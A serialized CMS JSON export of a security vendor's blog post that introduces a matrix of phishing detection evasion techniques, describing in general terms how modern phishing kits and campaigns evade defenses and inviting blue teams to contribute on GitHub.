1},{"id":15487,"type":918,"linkType":919},[],{"data":18214,"content":18215,"nodeType":866},{},[18216,18219,18226],{"data":18217,"marks":18218,"value":15495,"nodeType":865},{},[],{"data":18220,"content":18221,"nodeType":889},{"uri":1388},[18222],{"data":18223,"marks":18224,"value":9135,"nodeType":865},{},[18225],{"type":1191},{"data":18227,"marks":18228,"value":15506,"nodeType":865},{},[],{"data":18230,"content":18231,"nodeType":1229},{},[18232],{"data":18233,"marks":18234,"value":15514,"nodeType":865},{},[18235],{"type":935},{"data":18237,"content":18238,"nodeType":866},{},[18239,18242,18249],{"data":18240,"marks":18241,"value":15521,"nodeType":865},{},[],{"data":18243,"content":18244,"nodeType":889},{"uri":15524},[18245],{"data":18246,"marks":18247,"value":15530,"nodeType":865},{},[18248],{"type":1191},{"data":18250,"marks":18251,"value":15534,"nodeType":865},{},[],{"data":18253,"content":18254,"nodeType":1229},{},[18255],{"data":18256,"marks":18257,"value":15542,"nodeType":865},{},[18258],{"type":935},{"data":18260,"content":18261,"nodeType":866},{},[18262,18265,18272],{"data":18263,"marks":18264,"value":21,"nodeType":865},{},[],{"data":18266,"content":18267,"nodeType":889},{"uri":9195},[18268],{"data":18269,"marks":18270,"value":15556,"nodeType":865},{},[18271],{"type":1191},{"data":18273,"marks":18274,"value":15560,"nodeType":865},{},[],{"data":18276,"content":18277,"nodeType":866},{},[18278],{"data":18279,"marks":18280,"value":15567,"nodeType":865},{},[],{"data":18282,"content":18285,"nodeType":921},{"target":18283},{"sys":18284},{"id":15572,"type":918,"linkType":919},[],{"data":18287,"content":18288,"nodeType":866},{},[18289,18292,18299,18302,18309],{"data":18290,"marks":18291,"value":15580,"nodeType":865},{},[],{"data":18293,"content":18294,"nodeType":889},{"uri":10863},[18295],{"data":18296,"marks":18297,"value":15588,"nodeType":865},{},[18298],{"type":1191},{"data":18300,"marks":18301,"value":15592,"nodeType":865},{},[],{"data":18303,"content":18304,"nodeType":889},{"uri":15595},[18305],{"data":18306,"marks":18307,"value":15601,"nodeType":865},{},[18308],{"type":1191},{"data":18310,"marks":18311,"value":15605,"nodeType":865},{},[],{"data":18313,"content":18314,"nodeType":1229},{},[18315],{"data":18316,"marks":18317,"value":15613,"nodeType":865},{},[18318],{"type":935},{"data":18320,"content":18321,"nodeType":866},{},[18322,18325,18332,18335,18342],{"data":18323,"marks":18324,"value":15620,"nodeType":865},{},[],{"data":18326,"content":18327,"nodeType":889},{"uri":12901},[18328],{"data":18329,"marks":18330,"value":15628,"nodeType":865},{},[18331],{"type":1191},{"data":18333,"marks":18334,"value":15632,"nodeType":865},{},[],{"data":18336,"content":18337,"nodeType":889},{"uri":15635},[18338],{"data":18339,"marks":18340,"value":15641,"nodeType":865},{},[18341],{"type":1191},{"data":18343,"marks":18344,"value":15645,"nodeType":865},{},[],{"data":18346,"content":18347,"nodeType":1229},{},[18348],{"data":18349,"marks":18350,"value":15653,"nodeType":865},{},[18351],{"type":935},{"data":18353,"content":18354,"nodeType":866},{},[18355,18358,18365],{"data":18356,"marks":18357,"value":15660,"nodeType":865},{},[],{"data":18359,"content":18360,"nodeType":889},{"uri":15663},[18361],{"data":18362,"marks":18363,"value":15669,"nodeType":865},{},[18364],{"type":1191},{"data":18366,"marks":18367,"value":15673,"nodeType":865},{},[],{"data":18369,"content":18372,"nodeType":921},{"target":18370},{"sys":18371},{"id":9540,"type":918,"linkType":919},[],{"data":18374,"content":18375,"nodeType":944},{},[],{"data":18377,"content":18378,"nodeType":953},{},[18379],{"data":18380,"marks":18381,"value":15689,"nodeType":865},{},[18382],{"type":935},{"data":18384,"content":18385,"nodeType":866},{},[18386,18389,18396],{"data":18387,"marks":18388,"value":15696,"nodeType":865},{},[],{"data":18390,"content":18391,"nodeType":889},{"uri":15699},[18392],{"data":18393,"marks":18394,"value":15705,"nodeType":865},{},[18395],{"type":1191},{"data":18397,"marks":18398,"value":15709,"nodeType":865},{},[],{"data":18400,"content":18403,"nodeType":921},{"target":18401},{"sys":18402},{"id":15714,"type":918,"linkType":919},[],{"data":18405,"content":18406,"nodeType":944},{},[],{"data":18408,"content":18409,"nodeType":953},{},[18410],{"data":18411,"marks":18412,"value":14619,"nodeType":865},{},[18413],{"type":935},{"data":18415,"content":18416,"nodeType":866},{},[18417],{"data":18418,"marks":18419,"value":15732,"nodeType":865},{},[],{"data":18421,"content":18422,"nodeType":866},{},[18423],{"data":18424,"marks":18425,"value":15739,"nodeType":865},{},[],{"data":18427,"content":18428,"nodeType":944},{},[],{"data":18430,"content":18431,"nodeType":953},{},[18432],{"data":18433,"marks":18434,"value":12003,"nodeType":865},{},[18435],{"type":935},{"data":18437,"content":18438,"nodeType":866},{},[18439],{"data":18440,"marks":18441,"value":11043,"nodeType":865},{},[],{"data":18443,"content":18444,"nodeType":866},{},[18445],{"data":18446,"marks":18447,"value":15762,"nodeType":865},{},[],{"data":18449,"content":18450,"nodeType":866},{},[18451,18454,18460,18463,18469],{"data":18452,"marks":18453,"value":9514,"nodeType":865},{},[],{"data":18455,"content":18456,"nodeType":889},{"uri":3192},[18457],{"data":18458,"marks":18459,"value":3198,"nodeType":865},{},[],{"data":18461,"marks":18462,"value":9525,"nodeType":865},{},[],{"data":18464,"content":18465,"nodeType":889},{"uri":2644},[18466],{"data":18467,"marks":18468,"value":3223,"nodeType":865},{},[],{"data":18470,"marks":18471,"value":1066,"nodeType":865},{},[],{"data":18473,"content":18476,"nodeType":921},{"target":18474},{"sys":18475},{"id":9540,"type":918,"linkType":919},[],{"data":18478,"content":18479,"nodeType":866},{},[18480],{"data":18481,"marks":18482,"value":21,"nodeType":865},{},[],{"items":18484},[18485,18487],{"sys":18486,"name":2663},{"id":2662},{"sys":18488,"name":342},{"id":2666},{"items":18490},[18491],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":18492},{"url":2674},{"__typename":1802,"sys":18494,"content":18496,"title":19041,"synopsis":19042,"hashTags":59,"publishedDate":19043,"slug":19044,"tagsCollection":19045,"authorsCollection":19051},{"id":18495},"4XZ6qCr8pjJvcD7hi09x2Y",{"json":18497},{"data":18498,"content":18499,"nodeType":1663},{},[18500,18519,18526,18549,18556,18563,18570,18590,18596,18599,18607,18614,18634,18677,18720,18750,18770,18775,18778,18786,18793,18800,18807,18814,18937,18944,18947,18954,18971,18988,18991,18999,19016,19023],{"data":18501,"content":18502,"nodeType":866},{},[18503,18507,18515],{"data":18504,"marks":18505,"value":18506,"nodeType":865},{},[],"Almost two years ago, we released our ",{"data":18508,"content":18509,"nodeType":889},{"uri":2484},[18510],{"data":18511,"marks":18512,"value":18514,"nodeType":865},{},[18513],{"type":1191},"SaaS attacks matrix",{"data":18516,"marks":18517,"value":18518,"nodeType":865},{},[]," on GitHub. At the time, our research into modern attack patterns showed us that attackers were increasingly relying on cloud-native techniques, taking advantage of the shift in business IT from traditional on-premise networks to a web of third-party services accessed over the internet. ",{"data":18520,"content":18521,"nodeType":866},{},[18522],{"data":18523,"marks":18524,"value":18525,"nodeType":865},{},[],"As part of our work in maintaining and updating the SaaS attacks matrix in line with our own research and attacks in the wild, we identified that:",{"data":18527,"content":18528,"nodeType":2374},{},[18529,18539],{"data":18530,"content":18531,"nodeType":2309},{},[18532],{"data":18533,"content":18534,"nodeType":866},{},[18535],{"data":18536,"marks":18537,"value":18538,"nodeType":865},{},[],"The fastest growing category since day 1 has been initial access, which is entirely driven by identity-based techniques (i.e. logging into apps).",{"data":18540,"content":18541,"nodeType":2309},{},[18542],{"data":18543,"content":18544,"nodeType":866},{},[18545],{"data":18546,"marks":18547,"value":18548,"nodeType":865},{},[],"Phishing in various forms is the most widely used, and generally effective, of all the initial access techniques we encounter. ",{"data":18550,"content":18551,"nodeType":866},{},[18552],{"data":18553,"marks":18554,"value":18555,"nodeType":865},{},[],"It’s increasingly difficult to reflect a lot of the research we’re doing within the parameters of the SaaS attacks matrix when attackers are doing so much (and to varying levels) in how they architect their phishing sites, distribute links and lures, and find novel ways around authentication and access controls. ",{"data":18557,"content":18558,"nodeType":866},{},[18559],{"data":18560,"marks":18561,"value":18562,"nodeType":865},{},[],"Equally, while there’s a huge amount of valuable research and deep-dive analysis of how individual phishing kits are behaving produced by security firms, there’s a gap in how we’re bringing together this knowledge and understanding the broad strokes of why and how phishing attacks are still so successful.  ",{"data":18564,"content":18565,"nodeType":866},{},[18566],{"data":18567,"marks":18568,"value":18569,"nodeType":865},{},[],"We come across so many phishing attacks on a daily basis that it’s impossible to write a deep-dive teardown on every one — and to some extent it wouldn’t be useful to do so. What’s arguably more valuable is understanding the patterns and commonalities across phishing campaigns that can help us to understand, generally, how malicious tooling and tradecraft is evolving. ",{"data":18571,"content":18572,"nodeType":866},{},[18573,18577,18586],{"data":18574,"marks":18575,"value":18576,"nodeType":865},{},[],"So, we decided to ",{"data":18578,"content":18580,"nodeType":889},{"uri":18579},"https://pushsecurity.github.io/phishing-techniques/",[18581],{"data":18582,"marks":18583,"value":18585,"nodeType":865},{},[18584],{"type":1191},"create a new resource",{"data":18587,"marks":18588,"value":18589,"nodeType":865},{},[]," giving phishing the space to breathe that it deserves. ",{"data":18591,"content":18595,"nodeType":921},{"target":18592},{"sys":18593},{"id":18594,"type":918,"linkType":919},"7rK8RR8KKQ9DbBouZKnjs6",[],{"data":18597,"content":18598,"nodeType":944},{},[],{"data":18600,"content":18601,"nodeType":953},{},[18602],{"data":18603,"marks":18604,"value":18606,"nodeType":865},{},[18605],{"type":935},"How phishing has evolved",{"data":18608,"content":18609,"nodeType":866},{},[18610],{"data":18611,"marks":18612,"value":18613,"nodeType":865},{},[],"It’s easy to write off phishing as unsophisticated and simplistic, particularly when we think back to the first generation of phishing attacks — static HTML pages purely designed to steal your username and password, linked directly from an email. ",{"data":18615,"content":18616,"nodeType":866},{},[18617,18621,18630],{"data":18618,"marks":18619,"value":18620,"nodeType":865},{},[],"Modern phishing has changed a lot in the past decade or so. ",{"data":18622,"content":18624,"nodeType":889},{"uri":18623},"https://phishing-techniques.pushsecurity.com/techniques/aitm-phishing/",[18625],{"data":18626,"marks":18627,"value":18629,"nodeType":865},{},[18628],{"type":1191},"MFA-bypassing  Attacker-in-the-Middle (AitM) kits",{"data":18631,"marks":18632,"value":18633,"nodeType":865},{},[]," are table stakes — anyone can pick up a copy of Evilginx and immediately blow past most email and network security solutions on the market.  ",{"data":18635,"content":18636,"nodeType":866},{},[18637,18641,18649,18653,18661,18665,18673],{"data":18638,"marks":18639,"value":18640,"nodeType":865},{},[],"But the most sophisticated attacks — the ones that usually hit the headlines in the form of major breaches — are doing much more than this. The latest generation of fully customized AitM phishing kits are ",{"data":18642,"content":18643,"nodeType":889},{"uri":12913},[18644],{"data":18645,"marks":18646,"value":18648,"nodeType":865},{},[18647],{"type":1191},"dynamically obfuscating the code that loads the web page",{"data":18650,"marks":18651,"value":18652,"nodeType":865},{},[],", implementing ",{"data":18654,"content":18655,"nodeType":889},{"uri":15524},[18656],{"data":18657,"marks":18658,"value":18660,"nodeType":865},{},[18659],{"type":1191},"bot protection through custom CAPTCHA",{"data":18662,"marks":18663,"value":18664,"nodeType":865},{},[],", and using ",{"data":18666,"content":18667,"nodeType":889},{"uri":10863},[18668],{"data":18669,"marks":18670,"value":18672,"nodeType":865},{},[18671],{"type":1191},"runtime anti-analysis features",{"data":18674,"marks":18675,"value":18676,"nodeType":865},{},[],", making them increasingly difficult to detect by the tools most enterprises are using to combat the problem. ",{"data":18678,"content":18679,"nodeType":866},{},[18680,18684,18691,18695,18704,18708,18716],{"data":18681,"marks":18682,"value":18683,"nodeType":865},{},[],"The techniques used by attackers to deliver phishing lures are also more sophisticated. Groups like Scattered Spider have been seen using ",{"data":18685,"content":18686,"nodeType":889},{"uri":9940},[18687],{"data":18688,"marks":18689,"value":441,"nodeType":865},{},[18690],{"type":1191},{"data":18692,"marks":18693,"value":18694,"nodeType":865},{},[]," techniques, delivering phishing links via paid Google ads, while phishing campaigns are frequently encountered in ",{"data":18696,"content":18698,"nodeType":889},{"uri":18697},"https://phishing-techniques.pushsecurity.com/techniques/instant-messenger/",[18699],{"data":18700,"marks":18701,"value":18703,"nodeType":865},{},[18702],{"type":1191},"IM apps",{"data":18705,"marks":18706,"value":18707,"nodeType":865},{},[]," (such as Slack and Teams), as well as ",{"data":18709,"content":18710,"nodeType":889},{"uri":15991},[18711],{"data":18712,"marks":18713,"value":18715,"nodeType":865},{},[18714],{"type":1191},"public messaging services",{"data":18717,"marks":18718,"value":18719,"nodeType":865},{},[]," like LinkedIn messenger and Reddit — bypassing email altogether. ",{"data":18721,"content":18722,"nodeType":866},{},[18723,18727,18736,18740,18747],{"data":18724,"marks":18725,"value":18726,"nodeType":865},{},[],"The latest trends indicate that attackers are responding to increasingly hardened IdP/SSO configuration by using alternative phishing techniques that circumvent MFA and passkeys, either by ",{"data":18728,"content":18730,"nodeType":889},{"uri":18729},"https://phishing-techniques.pushsecurity.com/techniques/mfa-downgrade/",[18731],{"data":18732,"marks":18733,"value":18735,"nodeType":865},{},[18734],{"type":1191},"downgrading to a backup (less secure) authentication method",{"data":18737,"marks":18738,"value":18739,"nodeType":865},{},[],", or sidestepping the legitimate auth process entirely through methods like ",{"data":18741,"content":18742,"nodeType":889},{"uri":9984},[18743],{"data":18744,"marks":18745,"value":9990,"nodeType":865},{},[18746],{"type":1191},{"data":18748,"marks":18749,"value":3017,"nodeType":865},{},[],{"data":18751,"content":18752,"nodeType":866},{},[18753,18757,18766],{"data":18754,"marks":18755,"value":18756,"nodeType":865},{},[],"Attackers have also realized how much valuable data exists in Shadow SaaS highlighted by major SaaS breaches impacting apps like Snowflake. This is driving ",{"data":18758,"content":18760,"nodeType":889},{"uri":18759},"https://phishing-techniques.pushsecurity.com/techniques/saas-admins/",[18761],{"data":18762,"marks":18763,"value":18765,"nodeType":865},{},[18764],{"type":1191},"broader targeting against apps like Slack, Mailchimp, Postman, GitHub, and other commonly-used business apps directly",{"data":18767,"marks":18768,"value":18769,"nodeType":865},{},[]," — bypassing IdPs (MS, Google, Okta, etc.) that typically have more robust authentication controls in place.",{"data":18771,"content":18774,"nodeType":921},{"target":18772},{"sys":18773},{"id":12964,"type":918,"linkType":919},[],{"data":18776,"content":18777,"nodeType":944},{},[],{"data":18779,"content":18780,"nodeType":953},{},[18781],{"data":18782,"marks":18783,"value":18785,"nodeType":865},{},[18784],{"type":935},"Using the phishing detection evasion techniques matrix",{"data":18787,"content":18788,"nodeType":866},{},[18789],{"data":18790,"marks":18791,"value":18792,"nodeType":865},{},[],"With so much attacker innovation happening in the phishing space, it’s tricky for security teams and solution vendors to have a big picture view of the subtle changes attackers are making to their phishing attacks, and precisely why they’re doing it — or more specifically, which detection techniques they’re evading. ",{"data":18794,"content":18795,"nodeType":866},{},[18796],{"data":18797,"marks":18798,"value":18799,"nodeType":865},{},[],"If you look at one of the many phishing kit teardowns found in security blogs online (including our own) it can be hard to see the wood for the trees when it comes to understanding why a phishing page behaves in the way it does — why is it behaving in this way? What control exactly is this trying to get around? ",{"data":18801,"content":18802,"nodeType":866},{},[18803],{"data":18804,"marks":18805,"value":18806,"nodeType":865},{},[],"By creating a simple framework breaking down the categories of a phishing attack into phases, each with its own specific attacker objective, we can better understand phishing kit behavior and track meaningful changes over time. This ensures that we understand how we need to adapt to as an industry in order to detect and block these attacks. ",{"data":18808,"content":18809,"nodeType":866},{},[18810],{"data":18811,"marks":18812,"value":18813,"nodeType":865},{},[],"The matrix covers the following categories:",{"data":18815,"content":18816,"nodeType":2374},{},[18817,18832,18847,18862,18877,18892,18907,18922],{"data":18818,"content":18819,"nodeType":2309},{},[18820],{"data":18821,"content":18822,"nodeType":866},{},[18823,18828],{"data":18824,"marks":18825,"value":18827,"nodeType":865},{},[18826],{"type":935},"Phase 1: Targeting",{"data":18829,"marks":18830,"value":18831,"nodeType":865},{},[]," — Identifying apps and users to evade security controls and achieve the shortest time-to-impact of a phishing attack. ",{"data":18833,"content":18834,"nodeType":2309},{},[18835],{"data":18836,"content":18837,"nodeType":866},{},[18838,18843],{"data":18839,"marks":18840,"value":18842,"nodeType":865},{},[18841],{"type":935},"Phase 2: Link delivery",{"data":18844,"marks":18845,"value":18846,"nodeType":865},{},[]," — Deliver links using phishing vectors that evade traditional security controls. ",{"data":18848,"content":18849,"nodeType":2309},{},[18850],{"data":18851,"content":18852,"nodeType":866},{},[18853,18858],{"data":18854,"marks":18855,"value":18857,"nodeType":865},{},[18856],{"type":935},"Phase 3: Link camouflage",{"data":18859,"marks":18860,"value":18861,"nodeType":865},{},[]," — Masking malicious links to prevent detection at the email, network proxy, or safe browsing layer. ",{"data":18863,"content":18864,"nodeType":2309},{},[18865],{"data":18866,"content":18867,"nodeType":866},{},[18868,18873],{"data":18869,"marks":18870,"value":18872,"nodeType":865},{},[18871],{"type":935},"Phase 4: TI evasion ",{"data":18874,"marks":18875,"value":18876,"nodeType":865},{},[],"— Preventing TI feeds from flagging and blocking known-bad domains by masking or changing elements likely to be flagged.",{"data":18878,"content":18879,"nodeType":2309},{},[18880],{"data":18881,"content":18882,"nodeType":866},{},[18883,18888],{"data":18884,"marks":18885,"value":18887,"nodeType":865},{},[18886],{"type":935},"Phase 5: Anti-analysis",{"data":18889,"marks":18890,"value":18891,"nodeType":865},{},[]," — Techniques to defeat automated “sandbox” analysis tools by preventing security teams and bots from accessing the page.",{"data":18893,"content":18894,"nodeType":2309},{},[18895],{"data":18896,"content":18897,"nodeType":866},{},[18898,18903],{"data":18899,"marks":18900,"value":18902,"nodeType":865},{},[18901],{"type":935},"Phase 6: Page obfuscation",{"data":18904,"marks":18905,"value":18906,"nodeType":865},{},[]," — Obfuscating page elements to break detection signatures analysing page content and code. ",{"data":18908,"content":18909,"nodeType":2309},{},[18910],{"data":18911,"content":18912,"nodeType":866},{},[18913,18918],{"data":18914,"marks":18915,"value":18917,"nodeType":865},{},[18916],{"type":935},"Phase 7: Defeat MFA & CA",{"data":18919,"marks":18920,"value":18921,"nodeType":865},{},[]," — Defeat authentication and access controls in order to successfully execute the phishing attack.",{"data":18923,"content":18924,"nodeType":2309},{},[18925],{"data":18926,"content":18927,"nodeType":866},{},[18928,18933],{"data":18929,"marks":18930,"value":18932,"nodeType":865},{},[18931],{"type":935},"Phase 8: Account takeover",{"data":18934,"marks":18935,"value":18936,"nodeType":865},{},[]," — Achieve a form of account takeover and conclude the identity attack, enabling further exploitation to take place.",{"data":18938,"content":18939,"nodeType":866},{},[18940],{"data":18941,"marks":18942,"value":18943,"nodeType":865},{},[],"Combining techniques and approaches from these categories is what enables attackers to bypass the majority of phishing detection controls they encounter today. You typically find that the more advanced the phishing kit / attacker, the more techniques they’ll leverage. And as phishing infrastructure becomes increasingly templated and commodified with as-a-Service or for-hire models, the average phishing attack will employ more of these measures to counter security controls. ",{"data":18945,"content":18946,"nodeType":944},{},[],{"data":18948,"content":18949,"nodeType":953},{},[18950],{"data":18951,"marks":18952,"value":6592,"nodeType":865},{},[18953],{"type":935},{"data":18955,"content":18956,"nodeType":866},{},[18957,18960,18968],{"data":18958,"marks":18959,"value":21,"nodeType":865},{},[],{"data":18961,"content":18962,"nodeType":889},{"uri":18579},[18963],{"data":18964,"marks":18965,"value":18967,"nodeType":865},{},[18966],{"type":1191},"You can find the matrix here.",{"data":18969,"marks":18970,"value":21,"nodeType":865},{},[],{"data":18972,"content":18973,"nodeType":866},{},[18974,18978,18985],{"data":18975,"marks":18976,"value":18977,"nodeType":865},{},[],"If you want to learn more about the research that led us to this point, and our take on how and why phishing attacks have evolved, ",{"data":18979,"content":18980,"nodeType":889},{"uri":15219},[18981],{"data":18982,"marks":18983,"value":18984,"nodeType":865},{},[],"you can also check out our latest whitepaper. ",{"data":18986,"marks":18987,"value":21,"nodeType":865},{},[],{"data":18989,"content":18990,"nodeType":944},{},[],{"data":18992,"content":18993,"nodeType":953},{},[18994],{"data":18995,"marks":18996,"value":18998,"nodeType":865},{},[18997],{"type":935},"Get involved!",{"data":19000,"content":19001,"nodeType":866},{},[19002,19006,19012],{"data":19003,"marks":19004,"value":19005,"nodeType":865},{},[],"Like the ",{"data":19007,"content":19008,"nodeType":889},{"uri":2484},[19009],{"data":19010,"marks":19011,"value":1823,"nodeType":865},{},[],{"data":19013,"marks":19014,"value":19015,"nodeType":865},{},[],", we’d love to see the security community using and helping us to maintain this resource to ensure it stays up to date with techniques as they evolve. ",{"data":19017,"content":19018,"nodeType":866},{},[19019],{"data":19020,"marks":19021,"value":19022,"nodeType":865},{},[],"Unlike the SaaS matrix, which we’ve seen mostly leveraged by offensive security practitioners, phishing detection evasion techniques are most useful to blue teamers looking to assess current detection capabilities and understand why certain attacks got through existing defenses. ",{"data":19024,"content":19025,"nodeType":866},{},[19026,19030,19038],{"data":19027,"marks":19028,"value":19029,"nodeType":865},{},[],"If you’d like to add techniques you’ve observed or examples that you think demonstrate them, ",{"data":19031,"content":19033,"nodeType":889},{"uri":19032},"https://github.com/pushsecurity/phishing-techniques",[19034],{"data":19035,"marks":19036,"value":19037,"nodeType":865},{},[],"get involved on GitHub!",{"data":19039,"marks":19040,"value":21,"nodeType":865},{},[],"Introducing our guide to phishing detection evasion techniques","Introducing our latest resource for security teams breaking down the techniques that modern phishing attacks are using to evade detection. ","2025-08-06T00:00:00.000Z","phishing-detection-evasion-launch",{"items":19046},[19047,19049],{"sys":19048,"name":342},{"id":2666},{"sys":19050,"name":2663},{"id":2662},{"items":19052},[19053],{"fullName":3697,"firstName":3698,"jobTitle":3699,"profilePicture":19054},{"url":3701},"phishing-with-active-directory-federation-services","blog/phishing-with-active-directory-federation-services",{"json":19058},{"data":19059,"content":19060,"nodeType":1663},{},[19061],{"data":19062,"content":19063,"nodeType":866},{},[19064],{"data":19065,"marks":19066,"value":19067,"nodeType":865},{},[],"We recently identified a novel phishing attack combining the latest phishing detection evasion techniques —  including clever use of Active Directory Federation Services to get Microsoft to send victims to a phishing site using legitimate login URLs. ","Push recently identified a novel phishing attack using Active Directory Federation Services to get Microsoft to send victims to a phishing site.",{"id":19070,"publishedAt":19071},"5y6UUG3mMTu1dFhtKO0AUT","2026-08-12T11:53:55.176Z",{"items":19073},[19074,19076],{"sys":19075,"name":342},{"id":2666},{"sys":19077,"name":2663},{"id":2662},{"items":19079},[19080,19082,19084,19086,19088,19090,19092,19094,19096,19098,19100,19102,19104],{"sys":19081,"name":279,"slug":280,"tier":31},{"id":276},{"sys":19083,"name":519,"slug":520,"tier":31},{"id":516},{"sys":19085,"name":413,"slug":414,"tier":31},{"id":410},{"sys":19087,"name":342,"slug":343,"tier":31},{"id":339},{"sys":19089,"name":324,"slug":325,"tier":45},{"id":321},{"sys":19091,"name":431,"slug":432,"tier":45},{"id":428},{"sys":19093,"name":466,"slug":467,"tier":45},{"id":463},{"sys":19095,"name":261,"slug":262,"tier":45},{"id":258},{"sys":19097,"name":440,"slug":441,"tier":45},{"id":437},{"sys":19099,"name":607,"slug":608,"tier":45},{"id":604},{"sys":19101,"name":351,"slug":352,"tier":45},{"id":348},{"sys":19103,"name":475,"slug":476,"tier":45},{"id":472},{"sys":19105,"name":563,"slug":564,"tier":45},{"id":560},"dozBZpxPXWnLshPNZaAcQQBGc0U-2nUdHCgKovcPriI",1787040107625]